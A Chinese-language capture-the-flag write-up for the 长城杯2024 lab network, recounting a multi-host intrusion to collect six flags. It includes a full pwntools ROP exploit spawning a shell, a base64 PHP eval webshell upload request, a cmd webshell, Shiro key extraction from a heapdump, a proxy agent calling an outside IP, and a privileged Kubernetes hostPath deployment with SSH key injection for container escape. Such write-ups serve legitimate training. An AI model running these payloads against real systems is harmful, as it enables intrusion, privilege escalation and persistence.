春秋云镜-长城杯2024
flag1
先fscan扫一下端口,扫出来8080端口有个后台服务
访问8080端口发现一个登录界面
发现这玩意根本不会发起登录请求,就是个前端壳子
dirsearch扫一下,看到有个404
访问404的路由即可拿到框架信息
/index.php/login/
上工具扫,getshell
连接蚁剑,找到flag1
flag3(172.28.23.33)
信息收集
1
ip addr show
传个fscan扫一下内网
扫到另外两台机子
1
2
3
[2025-05-16 12:56:20] [SUCCESS] 目标 172.28.23.33 存活 (ICMP)
[2025-05-16 12:56:20] [SUCCESS] 目标 172.28.23.17 存活 (ICMP) //入口机
[2025-05-16 12:56:20] [SUCCESS] 目标 172.28.23.26 存活 (ICMP)
建立代理后访问内网
很容易发现33是Shiro框架
扫下目录
1
python dirsearch.py -u http://172.28.23.33:8080/ --proxy socks5://127.0.0.1:6666
显然是Shiro框架+heapdump泄露
下载heapdump
1
http://172.28.23.33:8080/actuator/heapdump
使用JDumpSpider分析heapdump,拿到ShiroKey
1
"C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -jar JDumpSpider-1.1-SNAPSHOT-full.jar "D:\闲2\heapdump"
使用Shiro反序列化工具,注入内存马后连接shell蚁剑
没找到flag,用户是ops01,应该是要提权
在/home/ops01/中有HashNote文件,开放了59696端口
需要pwn的知识,这里直接贴脚本exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch='amd64'
def add(key,data='b'):
p.sendlineafter(b'Option:',b'1')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)
def show(key):
p.sendlineafter(b'Option:',b'2')
p.sendlineafter(b"Key: ",key);
def edit(key,data):
p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)
def name(username):
p.sendlineafter(b'Option:',b'4')
p.sendlineafter(b'name:',username)
p = remote('172.28.23.33', 59696)
# p = process('./HashNote')
username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'
fake_chunk=flat({
0:username+0x10,
0x10:[username+0x20,len(ukey),\
ukey,0],
0x30:[stack,0x10]
},filler=b'\x00')
p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')
add(b'\x30'*1+b'\x31'+b'\x44',b'test') # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test') # 127
show(ukey)
main_ret=u64(p.read(8))-0x1e0
rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall
fake_chunk=flat({
0:username+0x20,
0x20:[username+0x30,len(ukey),\
ukey,0],
0x40:[main_ret,0x100,b'/bin/sh\x00']
},filler=b'\x00')
name(fake_chunk.ljust(0x80,b'\x00'))
payload=flat([
rdi,username+0x50,
rsi,0,
rdx,0,0,
rax,0x3b,
syscall
])
p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()
在/root/flag_RaYz1/f1ag03.txt拿到flag3
运行脚本:
在/root/flag_RaYz1/f1ag03.txt拿到flag3
扫描ip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:03:cb:48 brd ff:ff:ff:ff:ff:ff
inet 172.28.23.33/16 brd 172.28.255.255 scope global dynamic eth0
valid_lft 315357178sec preferred_lft 315357178sec
inet6 fe80::216:3eff:fe03:cb48/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:03:97:b8 brd ff:ff:ff:ff:ff:ff
inet 172.22.10.16/24 brd 172.22.10.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe03:97b8/64 scope link
valid_lft forever preferred_lft forever
有两张网卡
fscan扫描
172.22.10.1/24 网段存活如下
1
172.22.10.28
flag2(172.28.23.26)
在之前的扫描结果中看到开放了21端口,匿名用户可以登录
1
proxychains4 ftp 172.28.23.26
下载oa源码
开始审计代码
从main.php开始,开头引入了db.php和checklogin.php
抽象的鉴权
checklogin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function islogin(){
if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
return true;
}
else {
return false;
}
}
else {
return false;
}
}
?>
在源码根目录下还有一个uploadbase64.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:logove@qq.com
* Copyright Yoby版权所有
*/
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');
对于上传的校验不完整,只要符合格式是data:image/xxx;base64,xxx这种就行了
上传exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.23.26
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.28.23.26/uploadbase64.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close
imgbase64=data%3aimage/php%3bbase64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K
连接蚁剑
1
2
http://172.28.23.26/upload/2024-06-03-665d2423479ad.php
cmd
连上shell后发现有很多disable_functions
方法1:LD_PRELOAD
执行成功后,将生成两个文件
将这里的url参数改一下,
编写shell.php
1
<?php system($_GET['cmd']);?>
查询根目录:
需要提权:
查找 suid 提权文件
1
cmd=find / -perm -u=s -type f 2>/dev/null
通过 base32 读取 flag02:
得到flag2
方法2:PHP7 Backtrace UAF(更简单,方便)
PHP7 Backtrace UAF 可以直接返回一个 shell
内网二层代理:
查看flag2的机子网络信息,当前主机为双网卡:
fscan 对 172.22.14.0/24 网段信息收集:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
172.22.14.37:22 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:10250 open
172.22.14.37:2379 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.6 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.22.14.46 code:200 len:785 title:Harbor
[+] InfoScan http://172.22.14.46 [Harbor]
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] ftp 172.22.14.6:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
搭二层代理:
1
./linux_x64_admin -l 23333 -s 23333
1
./linux_x64_agent -c 8.148.230.29:23333 -s 23333 --reconnect 8
flag5(172.22.14.46)
登录网站
尝试打harbor未授权
看到有个叫做harbor/secret的镜像,我们把它dump下来
1
python harbor.py http://172.22.14.46/ --dump harbor/secret --v2
得到flag5
flag6(172.22.10.28)
在之前的Harbor的project/projectadmin镜像中有可以找到服务的jar包
反编译后在application.properties中可以找到关于mysql的配置文件
可以看到数据库地址就是这台机子
MDUT一把梭拿到flag
flag4(172.22.14.37)
通过fscan的端口扫描,我们可以发现10250端口,这个端口有个k8s kubelet 10250端口未授权,但是不符合利用条件;
然后6443端口存在K8s API server未授权
浅析K8S各种未授权攻击方法 - 火线 Zone-安全攻防社区
这里要注意:kubectl 是go binary,而go binary 自己实现了底层,所以proxychains对他不起作用。这里我的做法是下了个windows的可执行文件,然后proxifier全局代理。具体的打法就是写一个evil-deployment.yaml,然后远程创建一个特权容器,再把宿主机/目录挂载到容器内部/mnt目录,接着写公钥就成功逃逸
先创建一个恶意的yaml文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
vim evil-deployment.yaml
#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
创建pod
1
.\kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil-deployment.yaml
列出pod
1
.\kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -n default
进容器执行命令:能看到容器名为 nginx-deployment-864f8bfd6f-b9xhg,可以像docker那样进入容器
进入容器
1
.\kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-b9xhg /bin/bash
因为前面yaml文件指定了宿主机挂载目录为/mnt,因此可以直接写ssh公钥到/mnt/root/.ssh/authorized_keys
生成公钥:
写进去即可
1
2
3
echo "...公钥..." > /mnt/root/.ssh/authorized_keys
chmod 600 /mnt/root/.ssh/authorized_keys
kali连ssh
1
proxychains4 ssh -i /root/.ssh/id_rsa root@172.22.14.37
当前目录可以看到一个.mysql_history
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@ubuntu-k8s:~# cat .mysql_history
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit
show\040tables
;
database();
select\040datebase();
show\040databases;
quit
看到flag04,base64解码后拿到flag
参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-%E9%95%BF%E5%9F%8E%E6%9D%AF2024-writeup/ https://sangnigege.github.io/2026/test55/ https://xz.aliyun.com/news/14423

























